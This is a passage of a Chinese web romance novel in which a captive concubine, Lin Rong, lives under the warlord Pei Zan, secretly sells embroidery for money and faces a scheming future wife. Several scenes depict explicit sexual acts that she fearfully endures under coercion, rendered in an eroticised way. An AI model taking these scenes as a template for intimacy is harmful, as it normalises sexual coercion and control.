林蓉杏眸圆瞪,惶恐不宁,她明白了裴瓒的意思。 这厮分明在说,既要喝汤,那么一次与几次又有什么不同,不若让他尽兴,再穿衣饮药。 林蓉懵懵懂懂地想,裴瓒是不是生气了? 没等林蓉想出个所以然,她已经被男人扣到了怀中。 裴瓒发狠行事,再无之前的温存。 如此三回,直到寅时一刻,裴瓒方感餍足,放过了林蓉。 没一会儿天便亮了,裴瓒还有军务要忙,他没在帐中留宿,换衣后就出了主帐。 唯有林蓉从凉了的水中踉踉跄跄爬出。 她的双腿发软,手臂无力,几乎要跪倒在地。 林蓉取出药膏,给身上的指痕上药,又换了一身簇新的衣裙。 等避子汤送到帐中,林蓉忍着苦味,一饮而尽。 她累极倦极,打算洗把脸,继续入睡。 可在林蓉盯着那一盆凉水的时候,她莫名发起了怔忪。 林蓉又想到了原野上骑马的快意,又想到了那一片碧青湖泊的寒凉…… 她不会泅泳,她畏水,她不敢在水中闭气,所以她没能死里逃生。 若林蓉水性好……她是不是已经潜过湖泊,是不是避开裴瓒的抓捕,是不是已经获得了自由? 林蓉缄默不语。 她深吸一口气,低头闭气,将脸埋进水里。 浸水十几息。 林蓉再次抬头,从水中挣扎而出。 林蓉鬓发湿透,晶莹剔透的水珠,顺着她的颊侧滚落,她扶着脸盆,大口大口地喘息。 第32章 这一夜, 林蓉没有睡好。 醒来的时候,掀开被褥。 她只觉小裤黏腻。 林蓉猛然想起昨晚的事…… 那是裴瓒的东西。 林蓉叹气,感叹自己还好昨晚喝了汤药, 不然凭裴瓒这般的贪,怕是早晚要闹出事情。 林蓉又用剩余的热水擦了身, 她换了干净的衣裙, 撩帘出帐。 林蓉想去探望芝麻, 她抱了一大捧擦过露水的马草, 还给芝麻带了一块饴糖。 骏马能吃出甜味,平时也爱吃瓜果甜食,只是不能贪多, 免得脾胃不适。 林蓉四处打听,总算找到了那一匹被搁在马厩最角落的芝麻。 林蓉高兴地跑过去, 紧紧拥住马脖子, 把脸埋到细密的马鬃里。 芝麻看到林蓉, 似乎也很高兴, 不断用前蹄踏地, 还喷了几下沉闷的响鼻。 林蓉喂它吃糖, 又检查过芝麻的伤。 好在真的有医工帮它拔了箭矢, 还上了药,血已经止住了。 林蓉想到那一夜芝麻明明受伤, 还想涉水来驮她……明明只是旁人口中的一匹牲畜,却比人还有有情有义。 一时间, 林蓉鼻尖发酸,生出刺刺的痛,眼眶也跟着发烫。 林蓉抹去眼泪,她心里做了一个决定, 她要放芝麻走,她不能把它困在这里。 林蓉又给芝麻上了一次药,确定它的伤口不算深,能够自行愈合后,她牵着缰绳,一步步往军营门口行去。 林蓉有逃跑的前科,裴瓒将她看得很紧,一有风吹草动,冯叔就会立马禀报主子。 得知林蓉只是想去放生一匹小公马,裴瓒并未阻她。 林蓉知道,就算她再骑上芝麻逃跑,裴瓒也能轻而易举抓到她,更别说营地还有那么多骑兵、弓兵,随意一道军令下去,万箭齐发,她转瞬就被射成筛子了。 林蓉还想活着,她不会莽撞行动。 林蓉解开马辔、马鞍,把那些芝麻身上的枷锁统统卸下。 她拍了拍马脖子,对芝麻道:“跑吧,别回来了,没人会抓你了。” 林蓉用力拍了一下马背,催促芝麻离开。 远处的原野,一望无际,璀璨的阳光倾泻,照出一地鎏金。 她看着芝麻慢慢踢踏蹄子,朝前方奔去,不由欣慰一笑。 林蓉送走了芝麻,转身回营。 没等她迈进军营,背心忽然被什么东西顶了一下。 林蓉茫然回头,迎上一双忽闪忽闪的马眼。 居然是芝麻回来了? 林蓉语无伦次,想说话,喉咙又好似堵了棉花,忽然哽住了。 “你怎么回来了?你想跟我走啊?”林蓉也觉得自己为一匹马哭哭啼啼的,有些可笑,她噙着眼泪,咧了下唇角,“可我养不好你,万一哪天你死了怎么办……” 可芝麻不知是听不懂,还是并不在意。 它屈膝,固执地刨腿,催促林蓉上马。 林蓉心脏发软,她想了想,还是揪住马鬃,小心翼翼爬上马背。 “算了,走吧。” 就此,一人一马又晃晃悠悠回到了军营。 两日后,大军开拔,一同前往庐州大营。 林蓉没什么随身之物,唯一要带的,就是芝麻。 冯叔已经知道这匹杂毛马是小夫人的爱马,特意叮嘱了马卒好生照看,不得有丝毫怠慢。 芝麻也算是过上它爹墨羽那般富贵的日子了,不仅有最精细的马草吃,每日还能多加一顿甜果子。 出行那日,郑慧音拉林蓉上车。 她掩下车帘,神秘兮兮地问:“蓉儿,你回去的那夜……裴都督可有对你拳脚相加?” 林蓉怔忪一会儿,摇了摇头。 郑慧音松了一口气,她还当裴瓒性情这般暴戾,保不准私下会打人。 郑慧音拉她坐下,见今日落雨,天气寒凉,又往林蓉手心塞了一个银丝暖炉,供她取暖。 “你可知庐州吴氏女,再过几个月便要进门了?” 林蓉前天已经从裴瓒口中听闻此事。 “我知道,那是裴都督的正妻。” 郑慧音是真心喜欢林蓉的,她想了想,还是把自己近日打探来的消息尽数告诉林蓉,“你千万要小心这位吴家三小姐,她可不是什么善茬。” 见林蓉懵懵懂懂的样子,郑慧音敲了一下她的额头,提醒:“这位三小姐明明是深闺里的小姑娘,平日里也没有在外抛头露面,却能引得庐州的高门公子为她争风吃醋,甚至罔顾父母之命,亲自请冰人登门提亲。只她的母亲是妾室扶正,看重门第的郡望都不愿娶这样一房没有助力的妻子,那些婚事便也黄了。” “蓉儿,你想想,要是她当真大门不出二门不迈,又从哪门子勾的那些世家公子?一个个非她不娶,甚至闹得鸡犬不宁?此女心机深沉,手段高明,你万万要小心应对。” 林蓉点头,多谢郑慧音的好意。 但她心里想的是,她不过是一房位卑言轻的妾室,她算哪根葱,又怎有资格去管府上主母的事? 裴瓒觉得好,他娶便是,林蓉管不着。 没等林蓉佐茶,咽下手中这块糕,冯叔已在马车外敲门,请林蓉换车同行。 郑慧音猜到是裴瓒亲来讨人,她心里恼火,却又无计可施,她还没和林蓉待多久呢! 郑慧音无可奈何,只能眼睁睁看着林蓉做了个赔罪致歉的无奈表情离开了。 林蓉在冯叔的指引下,撩裙踏上裴瓒所在的那一辆青蓬马车。 车门合拢,林蓉跽坐于地,一抬头便看到裴瓒那双暗沉凤目。 不知为何,她的心里莫名有点发怵。 自从上次行房后,她和裴瓒足足有两日未见。 林蓉乐得清闲,以为裴瓒军务繁忙,便也没有打听他的去向。 可今日一看裴瓒神色,他周身气息这般疏冷清淡,分明是不大欢喜。 难不成是军事上有什么难处? 林蓉脑袋昏昏,胡思乱想。 在她怔忪的期间,裴瓒不紧不慢地搁下那支饱蘸墨汁的笔,男人的广袖轻扬,玉指扣住了林蓉的细腕,不过眨眼功夫,便将她扯进了怀中。 林蓉猝不及防遇袭,足下一个趔趄,转瞬跌进裴瓒那檀香浓郁的温热怀抱里。 她坐到裴瓒的腿上,既惊又怕,臀下如蚁啃噬,酥酥麻麻,坐立难安。 倒不是说男人的膝骨太过硬实,硌到她了。 而是林蓉知道,裴瓒实乃“无事不登三宝殿”的性子,他忽然压她入怀,定是有所图谋。 果然,裴瓒气息微沉。 那几根冰冷如雪的长指,勾过她的亵裤。 泛凉的手毫无章法,揉捏着那片雪腰软肉。 “还疼?” 林蓉想到近日用药膏涂抹,仍有些肿痛,只能脸色煞白地回答:“还没好齐全,怕是不能服侍大少爷……” 林蓉想到此前她怎么哭喊裴瓒都不停下的画面,深感不安。 她鼻翼生汗,有些焦灼,但她不敢躲开,只能无措地紧握手掌。 裴瓒双眸低垂,若有所思。 他分明已经听明白了林蓉的意思…… 却仍要往下试探。 随后,林蓉感受到裴瓒茧子微厚的指肚稍作停顿。 碾在那一片丰腴伤处。 裴瓒细细地抚,态度恣意。 林蓉肩背僵硬,无措地忍受着裴瓒的冒犯。 直到他把手指收回……她眸中的迷离之色才逐渐散去。 裴瓒将白皙指腹上沾着的湿濡。 尽数一点一点碾上林蓉的裙摆。 擦拭干净。 即便如此,他也并未放过林蓉,只拥着她,意味不明地道了句。 “吃不下么?” “倒也未必……林蓉,你明明很馋。” 深夜,庐州,吴家祖宅。 二房三姑娘吴念珍刚受过大堂兄吴冲的一顿敲打,心里明白了七七八八。 她日后要嫁的那位裴都督,后院养着一房极其受宠的小妾。 吴念珍并非愚钝的女子,她当然知道,裴瓒手眼通天,如今又是南地六州的无冕之王,他日群雄逐鹿,保不准还能问鼎天下,这样经天纬地的大人物,她又怎肯放过? 不过一房侍妾罢了。 吴念珍抚上自己那张用雪花膏保养出来的俏脸,想起母亲柳氏的话。 “人人都在背地里唾你是个小娘养出来的姐儿,可她们哪个不嫉你如今有个妾抬成妻的亲娘?权势富贵这些实实在在能捏到手里的,才是好东西……你当先夫人当年真是病死的?无非是高门贵女下不来脸面笼络夫主,又积郁成疾,慢慢熬死了。” 吴念珍从母亲这里得知,先夫人卢氏的真正死因。 从前二房先夫人卢氏与二老爷少年夫妻,伉俪情深。卢氏做着一生一世一双人的梦,偏二老爷的心思有所游移,被她的母亲柳氏勾了去。 最开始不过酒后的一场露水情缘,倘若卢氏是个聪慧的,大可在二老爷心存愧疚的时候,大大方方将母亲抬进角门,纳为妾室,还能得丈夫的一丝倚重与怜惜。 偏生卢氏自觉被丈夫背叛,非但没给二老爷台阶下,还大闹了一场,令二老爷颜面尽失,脸上无光,夫妻就此离了心。 好几次,卢氏想见丈夫一面,亲自往小妾的宅院里端汤。 可母亲柳氏手段高明,她特意披一件熏过二老爷衣香的纱裙出门迎人,又在屈膝行礼的时候,刻意露出胸口上几个手掐出来的红痕…… 看着那些斑驳凌乱的“吻痕”,卢氏气得双目通红,将那盅甜汤摔在院子里,再没有找过二老爷。 柳氏花了几年时间,在主母心中埋下一根刺,终于熬到卢氏死去的那一日。 此后,柳氏又生下了五公子,凭借一双儿女,被抬上了妻位,再不必看旁人眼色。 柳氏只想要过上好日子,她不介意二老爷在外金屋藏娇,在府内风花雪月。 这是柳氏的大度,也是她的无情之处。 她告诫女儿:“珍儿,你要装大度、装贤惠、装体贴,先把男人的心笼络在手,旁的再说。此番联姻,可是你麻雀变凤凰的好时机!你定要沉得住气,把持住裴都督,要知道,这可是你能攀到的最高的花枝。” 吴念珍谨遵母亲教诲……她心知此番联姻,是吴家强求来的,或许裴瓒审时度势一番,才不情不愿应下,他心存轻视,有心敲打吴家,才会这般明目张胆将宠妾摆在明面上,故意给她没脸。 裴瓒的态度很明确,他履行婚约,但他不会敬吴念珍、重吴念珍,吴氏女定要做好准备,切莫在裴府后宅闹腾。 但吴念珍毫不在意,她知道自己生得一副月貌花容,鲜少有男人能把持住不对她心生爱慕。 吴念珍总有勾引裴瓒的机会。 只要顺利诞下子嗣,在后院里站稳脚跟……不过一房承宠多年的侍妾罢了,她能容下。 作者有话说:看到有质疑说正妻不给子嗣理想化。 首先裴瓒的权势是远远高过吴家的,所以在这个背景下,他还践诺联姻是恩典,他和吴家的共识都是只达成“联姻”这件事,让吴家依附他,不在意“婚姻”的事实。 所以裴瓒想不给吴家子嗣,他就不会去碰这个正妻,另一方面来说,他其实很有“洁癖”,看中眼的也就蓉儿一个,如果不是为了事业还有一些谋划,他很可能也不会娶妻……毕竟一个大龄27岁才破处的男人非常少见,他在这方面比较倔的。 但目前,裴瓒没有什么守身的概念,他一直都是“我喜欢,所以我做这件事”,他不喜欢别人,逼他没用。 其他就继续看吧,实在觉得不合理不爽~宝宝可以暂放一下~不用太纠结~我继续写我的~我会坚持自己的大纲完成这本哒!看到大家的评了,特别温暖,谢谢宝宝们爱你们! 很多段平也超级可爱的,么么哒! 第33章 林蓉跟着裴瓒抵达庐州时, 已是四月。 这几月来,裴瓒抽调兵营兵力,南征北战, 已占领南地六州。 裴瓒虽将这片辽阔疆土设为封国,划江而治, 却并未自封王爵, 仍让麾下将领口称都督。 裴瓒杀官夺城, 揽权犯上, 已是不争的事实,即便没有自立为王,他也早就沦为乱臣贼子。 只待北地魏室的陈家天子缓过神来, 再集结兵马,领兵南下, 收复那些被裴瓒侵吞的六州失地。 因此, 众人皆知, 日后裴瓒与魏国皇室必有一战, 他日鹿死谁手, 尚未可知。 在此之前, 裴瓒要做的是, 便是治理六州,安顿战后流民, 重建毁城废屋,预防疫病。 再征收漕粮地丁, 监管盐关田赋,用于养兵与民生。 待局势稳定一些,便可操练兵马,挑拣统领营官, 筹备日后的行军远征。 裴瓒在外忙碌军务,林蓉却被冯叔接进了一座专门为裴瓒准备的大都督府。 六进的偌大家宅,处处都是峻宇雕墙,银屏金屋,林蓉对这些风水格局知之甚少,即便冯叔在旁讲解,她也听得两眼呆滞,好半晌磕磕绊绊问出一句:“什么、什么藏风聚气?” 冯叔一哽,想到林蓉千字文也不过才背了几百字,一下子要她理解这些命理玄学的风水之道,委实有点难为人。 思来想去,冯叔还是笑道:“罢了罢了,林姑娘别管这些,总之就是少爷对您上心得很,分您的这一座院子位处玄武,背靠西山,意思是往后都有贵人当您的靠山,为您撑腰呢!” 林蓉哪里明白这么多弯弯绕儿,她知道冯叔的性子,这是在她面前说裴瓒好话,盼着她能尽心侍奉家主。 林蓉捧场地笑了笑,她看着那样高的院墙,那样宽敞的天井,还有那一片尚未移植花木的空地,心中暗暗思忖,大少爷果真家底殷实。 冯叔见林蓉喜欢,忙问她是否要栽种一些梅兰竹菊? 林蓉摆摆手,心道:如果她布置的话,比起奇珍异草,她肯定更想种些瓜果时蔬……这样一来,平日涮锅子就能顺手薅一把小青菜了。 还有墙角空空荡荡,与其摆着观赏用的金鱼水缸,不若放几个咸菜、酸瓜坛子,雨披一盖,腌上十天半个月,定是满院飘香。 林蓉心生希冀,但很快又打消了念头。 因她意识到,这是裴瓒的府邸,不是她的家。 林蓉不能在此地落地生根,她随时要走的,不能留下那么多东西。 种了菜要等发芽,栽了果蔬要等丰收……她等不了,她不能什么都落在这里。 除此之外,林蓉也知,酸菜腌瓜臭鱼都是农户寒门喜爱的土气之物,会惹裴瓒的嫌恶。 林蓉隐隐记起裴瓒生气的样子。 他虽生得秀容艳骨,平日里牵唇淡笑,也有几分温和,但林蓉知道,裴瓒此人心狠手辣,下手十足冷戾。他若想惩治林蓉,决不会心慈手软……要么从后覆来,长进长出。 要么就是探指入内。 即便林蓉说了太撑,实在吃不消,裴瓒还是一边哄她可怜,一边置若罔闻,寒着一张俊脸,硬生生再挤进其余几根手指。 林蓉脸色发白,她不敢回想那些床笫私事,忙打消腌菜的念头,不愿碍着高门权贵的眼。 裴瓒夙夜在公,近乎一月没有回到府邸。听冯叔说,主子实在是忙,不但派遣心腹官吏去地方巡察,还得管辖那些堆到裴瓒案头的南地六州大小事宜。 这些时日,裴瓒基本宿在官廨里,连碗补身的参汤都喝不上,绝非刻意冷落小夫人。 冯叔有意指点林蓉,快去吩咐灶房的婆子熬汤,给裴瓒送去补补身子,聊表关怀之意。 奈何林蓉在邀宠上半分不开窍,她听了没什么反应,反倒询问备膳的婆子:“今晚郑姐姐要来府上吃锅子,能备一些猪腰、口条,还有猪耳朵吗?” 郑慧音和林蓉一样,爱吃荤食,不怎么吃素。 天冷,肉片涮锅子简直一绝。 林蓉从前月钱少,吃不起荤菜,至多只能吃些主家剩下的饭食赏赐。 如今能有独属于自己的一个热锅子烫菜,实在是穷奢极侈,一连几日,林蓉都吃得诚惶诚恐,感激涕零。 桌上摆了个三黄鸡锅子,郑慧音用公筷加了些卤肉猪肚、还盛了一碗林蓉亲自下厨熬煮的鸡丝米粥,她吃得满嘴流油,美得眼睛都要眯起来了。 郑慧音感叹:“裴都督脾气不好,但吃穿用度还真没亏着你,单说你身上这件宝蓝丝绒绞纱绸,外头都卖四十两一匹呢。” 林蓉低头看一眼漂亮的绸裙,赞同地点头:“我从前在裴府做事的时候,好像也只看到大夫人穿过这种绸缎,想来是很贵的。” 林蓉在第一次收到这些华服的时候,着实被吓了一跳。 因这些衣裙,全是按照她的身量尺寸,精心裁制的。不像她从前做丫鬟的时候,衣服要先放量,再折线缝上几圈。这般等到来年开春,窜个子了再拆线,这样一件衣裳就足够林蓉穿上两三年,省钱还方便。 原来,不过是一房位卑言轻的妾,也能过得这般奢靡富足。 林蓉不知该说什么好,即便日子富足,她其实还是想出府过活。 但林蓉只要一开口,旁人都会斜她一眼,恨不得骂她不惜福、不开窍、不懂进退。 就连郑慧音也委婉劝过:“要是裴都督一直偏宠你,不若好好跟了他,别再往外头跑了吧?毕竟他后宅干净,这两三年应该也就只多添一房正妻,听姐姐一句劝,若你能争争气,一举得男,往后的日子就有盼头啦!” 一碟牛肚烫完,郑慧音终于想起正事儿。 她取帕子抹了嘴角黄澄澄的羊油,觑了一眼林蓉的脸色,心里有点发虚。 郑慧音听到冯叔和林蓉的对话,知道冯叔这人嘴上真假掺半,尽是瞎糊弄。 裴瓒成日务公是不假,但他也抽空办了旁的事。 譬如应下吴家的婚仪六礼,送去了用于合婚的庚帖,如今过了纳吉礼,几乎已经订下婚约,只差没宴请宾客,谋定婚期了。 郑慧音不忍林蓉蒙在鼓里,她小声说了此事:“八字合了,据说是天作之合……只裴都督确实忙,没空相看吴三小姐,我想着过几日兴许会带你赴宴,毕竟外头都传,你是他捧在心尖上的宠妾。唉,我虽然也不懂裴都督的想法,一面要娶妻,一面又抬举妾室,将你送到风头浪尖上,这不是故意逼着那个吴三小姐日后针对你么?” 仔细一想,郑慧音又觉得毛骨悚然:“总不会是他故意为之,这样你在家宅里举步维艰,就只能倚仗他的宠爱了?若真如此,裴都督的心肝也是蔫儿坏的,逼着你邀宠,竭力讨好他……” 林蓉半晌不语,郑慧音以为她在难过,忙讪讪住了口。 可林蓉对裴瓒没什么男女之情,她不会因他娶妻,生出什么伤怀的情绪。 林蓉转身进屋,拿来一个针线篓子。 竹篓子里整整齐齐码放了好几个香囊,各个绣花精致,做工不凡,郑慧音看直了眼,摸着一个桂花绣面的承露囊,道:“蓉儿,这些都是你绣的?真好看。” 林蓉抿唇一笑,从中取出一个花卉纹样的香囊,递给郑慧音:“这个送给郑姐姐,你前些日子说睡不好,头疼,我专程往里面塞了菊花,嗅着可以安神顺气。还有其他的香囊,我想托阿姐一件事……” 郑慧音爱不释手,把玩那只香囊,笑道:“何事?你且道来便是,我能帮必定帮。” 林蓉想到那些绣了名的华裙、捞了印的金钗,她颇为不好意思地道:“这几个香囊绣品,阿姐能帮我拿出去送到绣坊寄卖吗?大少爷不给我月钱,我身无分文,平时连打赏仆妇都没银子可掏,实在有些……” 闻言,郑慧音纳罕地道:“裴瓒还真的不给你钱花啊?他也太小气了吧?!连赏银都没有,怎么助你在府上立威?” 说到这里,郑慧音又尴尬地闭了嘴。 因她猜到,兴许裴瓒真的只将林蓉当成一个无足轻重的玩意儿。既是玩物,何须留有主家夫人的体面?既他不上心,又怎可能帮林蓉立足? 底下的仆妇见风使舵,若林蓉想日子好过一点,当真就只能倚仗裴瓒的施恩与宠幸了。 郑慧音心疼林蓉的处境,她叹了一声气,道:“没问题!包在我身上!蓉儿,你要是真缺钱,我这里也有一点……” 林蓉急忙按住郑慧音的手,连声道:“我知道阿姐疼我,但平白拿你的钱,我心里不安,还是帮我卖一些绣品吧。” 郑慧音知道林蓉的老实性子,林蓉不愿欠下人情,就连她平时赠物,林蓉也会用蒸糕来偿。 郑慧音拿她没办法,只能应下。 夜里,林蓉吃了一碗红枣甜汤,又摸出那一块被她私藏起来的锦绸,用剪子裁出几个香袋的形状。 如蝙蝠、元宝、葫芦等等富贵吉利的样式。 林蓉知道,读书的儿郎附庸风雅,买这些香囊玉佩较多,妇人女眷大多持家,管着家里的柴米油盐,一块钱掰开两块用,定然舍不得花销。 思及至此,林蓉又咬断细线,纹了几个梅月潇湘竹的男式花样子,小心缝制起来。 林蓉做事认真,屋里点着不伤眼的白蜡烛,一时不察,竟过去了两个时辰。 没等她直起肩背,抻一抻筋骨,身后忽然传来一道幽冷似鬼的嗓音。 “你在缝什么?” 林蓉吓得汗毛倒竖,急忙抬手捂住针线篓,结巴道:“没什么……” 林蓉一回头,看清了门边上长身玉立的男人。 原来是裴瓒! 裴瓒似是刚刚下值,一双孤冷长目里蕴着疲态,削薄的唇瓣轻轻抿着,看上去比平素沉肃许多。 他身上锦缎圆领官服未褪,蹀躞带勒出劲挺窄腰,此时褪下的披肩挡风的黑狐大氅,虚虚搭在捋了袖的臂弯上,露出肌肉结实的臂骨,手背横陈着一条漂亮的青筋。 林蓉许久不曾见到裴瓒,心中对他的印象有点淡化,今晚见到恶鬼临门,那等见之生畏的惶恐又浮上心头,不自禁紧了腰身。 裴瓒公事繁忙,战后诸事都待他拟定章程,接连一月不曾回府。 今日总算得了空闲,难得回来一趟,却见林蓉脸上没半分欢喜,反倒一副见了鬼的样子,不禁目露阴戾,冷道:“手下压着什么?拿出来看看。” 林蓉心中大惊,她当然知道裴瓒聪明绝顶,怎敢让他猜到她贩卖绣品换钱的事。 林蓉汗如雨下,急忙急中生智,低下头道:“大、大少爷,我是在给您绣香袋。只是花样丑了些,没能绣完,还是别看了吧……” 裴瓒弓马娴熟,自然目力极佳,他瞥了一眼竹筐中的绸布、竹纹,知道这是给男子所佩的样式,眸色柔和许多。 “无事,你绣吧。” 裴瓒累极,本想宽衣沐浴,不等他唤来林蓉侍奉,屋外忽然传来一声低微的呼喊:“爷,您睡了吗?吴将军登门求见,喊老奴前来通禀……您看是否要备茶招待一番?” 裴瓒拧眉,脸色不悦:“已是亥时。” “吴将军知道爷军务繁忙,平素不敢叨扰,只今日要紧,想商议一番相看宴的日子,让爷选个吉日,您看这见还是不见?” 裴瓒明白事情轻重,既是亲事,早些办好也少一桩烦忧。 他抬指,轻摁了下额角,对林蓉道:“你睡吧,今夜不必侍奉。” 林蓉松了一口气,忙从善如流地答:“婚事要紧,大少爷且去吧。我正好月事疲乏,也早些睡下了。” 林蓉料想裴瓒登门,是想借她纾解,并非记挂探望,她体贴入微,还特地在暗示裴瓒,今晚就算同床共枕也没用,她来了癸水,不能侍奉枕席啊! 知道林蓉不能行事,裴瓒这几日应该不会再来了。 果然,今晚静谧,裴瓒没有再来小院。 林蓉无人打扰,一觉好梦至天明。 几日后,便是五月十五。 今夜,吴家大摆家宴,邀庐州名门子女,过府游玩,射柳赏榴。 此宴对外声称是过府小聚,也好一同吃酒烧肉,挂艾佩香,以此驱邪避瘟。 但明眼人都知道,吴家特意邀请这一位在南地独揽大权的裴瓒,分明是存了“未婚夫妻在婚前先相看一番”的小心思。 庐州的郡望世家都知道,吴家三姑娘吴念珍要嫁给裴瓒了,一时间心中既羡又妒。 他们纷纷赴宴吴府,送去打扮得花枝招展的嫡房女孩,只盼着宴席相看的期间,自家姑娘能有泼天造化,得裴瓒几分青眼,纳入后宅。 一时间,吴念珍忽然多了好几个“手帕交”,看得她连连冷笑,心中不快。 裴瓒没忘今夜的相看事宜,他将手中案牍文书放置一旁,搁下墨笔,净手更衣。 这一次的夜宴,裴瓒有心要给林蓉做脸,他特意带林蓉一起赴宴,还让几天前,嘱咐冯叔备好庐州时兴的衣饰珠花,送去家宅,免得林蓉小门小户出身,衣着寒酸,在宴上受人奚落。 裴瓒沐浴更衣,玉簪绾发,又换了一身芦苇绿圆领袍,男人肩背挺拔,如松如柏,端的是矜贵疏朗之姿。 裴瓒长年行军在外,枕戈待旦,从来不喜侍从近身,便是穿衣梳洗,亦亲力亲为。 今日,他扫一眼府衙偏室的桌案,取了一枚青玉佩绶腰间。 在缠穗的间隙,裴瓒指骨一顿,忽然想起那一只香囊。 那一夜,林蓉张嘴,伸出一点芙蓉香舌,咬下丝线。她伏案缝补,神情专注,为他裁制香袋。 裴瓒凤眸微柔,心道:林蓉虽笨口拙舌,十足的小家子气,但侍奉夫主,倒有几分真心实意。 时辰差不多了,裴瓒既要带林蓉一起去吴家,自当快些回府接人。 裴瓒攥过缰绳,就此骑马,出了衙门。 只是今夜乃重五节,街巷人声鼎沸,到处都是外出访亲的百姓。 裴瓒心气不顺,又不愿策马伤人,只能单手执着缰绳,放慢速度往府邸行去。 就在裴瓒拨马避人的瞬间,忽见远处跑来一名容貌普通的男子。 那人气喘吁吁,躬身作揖,慌慌张张朝着桥上的女子致歉。 江边灯火煌煌,月色明亮,星落池面。 男人的衣袍晃动间,一只绣工精细的梅月香袋,悬于腰身。 梅月纹,潇湘竹,绞纱缎…… 此人的佩物,与林蓉缝制的香袋一模一样。 裴瓒凝神望去,凤眸骤然一冷。他的周身气息瞬间凝重,寒如雪峰,吓得路人急忙后撤避让。 裴瓒冷笑一声。 那只本该赠予夫主的香囊……此刻竟佩在旁人的腰间! 第34章 林蓉手上仅有这么一块多余的绞纱缎, 还是她上次好说歹说,暗指自己要缝制一些小衣私物,方才留下的。 那日夜里, 林蓉缝制香囊,不慎被裴瓒看到……她担心他会起疑心, 不敢再继续缝制。 可她用的布料, 绘下的花样, 却已经制成了香袋拿出去售卖。 翌日, 林蓉托人去找郑慧音,询问她香囊的去向。 郑慧音把五两银子塞到林蓉手中,笑道:“蓉儿, 我知道你缺钱,特地叮嘱绣坊掌柜早些帮你卖出去!你绣活儿好, 用料也精细, 香袋可抢手了, 还没几个时辰就卖空了!” 林蓉听得脑袋嗡然, 她脸上全无血色, 结结巴巴问:“有没有可能……把那些香袋收回来?” “这、这怎么收啊?那些客人都不认识啊……你怎么了?无非是几个绣品, 又没绣上名字, 不算闺阁私物,你慌什么?” 林蓉强颜欢笑, 叹了一口气道:“没事,也是我想多了。” 林蓉心存侥幸, 她料想当时遮掩得当,裴瓒应该没见到竹筐里的物件,此后得了其他布料,再帮他另外缝制一个新的香囊, 此事便也悄无声息地过去了。 林蓉心下稍定,不再自己吓自己。 只是,几日后的重午夜宴,林蓉还是觉出了裴瓒的不对劲。 今日明明是裴瓒相看正妻的大好日子,却见男人脸色微沉,抬腿一脚踹裂了院门。 厚实的红木门四分五裂,摇摇欲坠挂在一侧。 远处尘土飞扬,粉屑四起。 如此巨响,吓得满院的仆从不敢吱声,连带着那些请来给林蓉梳妆打扮的仆妇也两股战战,屏息敛目地退出院外。 林蓉的房门敞开,可宽敞的院子早已空无一人。 林蓉刚刚沐浴更衣,换了一身夏衫衣裙,一头乌黑油润的长发披散双肩。 她来不及绞干,剔透晶莹的水珠,顺着鼓囊的胸口,一路流入玉壑,更衬得林蓉有几分出水芙蕖的清艳与娇媚。 她没见过裴瓒大发雷霆的模样,一时间杏眸圆瞪,心惊胆战,直勾勾盯着那一扇悬在半空的门扉,久久无言。 轩昂英拔的男人却已扬袖而至。 随着门扉合拢,裴瓒逼至林蓉跟前。 男人的凤目含威,挟带山雨欲来的压迫感,居高临下睥着林蓉的时刻,如山倾覆。 林蓉胆寒之际,一只宽大的手掌已然掐住了她的下颌,低低唤出一声:“林蓉……” 听得这一声鬼魅似的催命呼喊,林蓉的后脊顿时窜起一股冷意,她凝视着裴瓒并无半分赘余筋肉的遒劲臂骨,强忍住拔腿就跑的冲动。 林蓉知道,她还被困在家宅之中,她无路可退,倒不如安稳一些,不要触碰裴瓒的逆鳞。 林蓉安坐在凳上,困惑地问:“大少爷,您怎么了?” 林蓉懵懵懂懂地抬眼,明明心生惧意,却不敢叫喊分毫,如此惹人怜爱,倒愈发招出裴瓒压抑的杀心。 裴瓒顿时觉得林蓉这副装模作样的姿态,充满了趣味。他凉凉轻笑一声,两指用力,捏紧了林蓉的颊肉。 “你不知情么?”裴瓒垂下浓长眼睫,静静审视她,带着粗粝茧子的拇指,细细抚过林蓉温热的唇。 待林蓉要开口的时候,裴瓒又抬指,猛地抵进她的齿关,压在她绯色的舌尖,堵住她喉头渐出的话语。 林蓉几欲作呕,但她的口舌受困,无法动弹,只能竭力忍受这等不适。 她不敢咬伤裴瓒,任他的长指在唇腔肉壁里,肆意妄为地翻搅。 女孩的舌温滚沸,烫得他恶意汹涌。 裴瓒不过玉指轻抹,那些粘稠的唾津,便晕上了林蓉饱满粉嫩的樱唇。 他恶意地戏弄林蓉,任她惶恐不安地抵抗,任她将那双蜷在膝上的手紧攥成拳,捏皱那一件簇新的云缎夏裙。 林蓉卑下如蝼蚁,她不敢动弹,畏怯地感受裴瓒的宽大掌腹,沿着她滚圆的肩头游走,在她绵柔雪肤上作乱。 屋内寂静无声,气氛沉闷压抑。 唯有湿淋淋的水泽,糜乱地响着、汗水四溅。 裴瓒伸手。 强行没入。 玉指又从那一件簇新的裙摆撤出。 林蓉所有的惶恐不宁,瞬间被人洞悉。 裴瓒不顾那些洇上指缝的湿濡。 他侵袭林蓉的柔荑,与她十指相扣。 又用强劲的虎口,单手扣住林蓉脆弱不堪的细腕,将她的双手反剪于身后。 林蓉手无缚鸡之力,只能乖乖引颈就戮。 她只觉喉头、唇瓣、裙下都生出火辣辣的细微痛感,眼泪也随之盈眶。 “可是我有哪处做得不对……开罪了大少爷?” 林蓉再愚钝也知,裴瓒隐忍火气,他分明怒火中烧,可他不给林蓉一个痛快,非要逼她去猜,去想,去求饶认错,负隅顽抗。 未知的恐惧最为骇人,任林蓉绞尽脑汁,也猜不透裴瓒为何如此阴鸷狠戾。 裴瓒揽着林蓉后颈的指骨一紧,他隔着轻薄的纱衣,细细碾抚林蓉柔密细软的后脑绒发。 随后,在林蓉苦思冥想的时候,他低下头,以唇封缄。 浓郁的檀香冷不防充盈口鼻,林蓉整个人都被厚重的香雾裹缠住了。 热意在林蓉的鼻腔灼开,她的双手得以释放,可脸却被裴瓒高高捧起。 一个近乎窒息的、疯狂的吻。 男人压着她、覆着她。 舔她舌底青筋,咬噬她柔软樱唇。 好似一场不死不休的战役,非要碎玉合璧,严丝合缝,最后再两败俱伤。 裴瓒的吻凶悍至极,与她厮磨、缠斗,至死方休。 林蓉的衣襟松垮滑落,肩上那朵艳梅活色生香。 胎记色泽妖冶,如烈火焚烧,刺目灼人。 林蓉感受到裴瓒的亲吻,自她的嘴角,落到了旁处。 他吮过她的后颈,死死咬住她的薄皮筋骨。 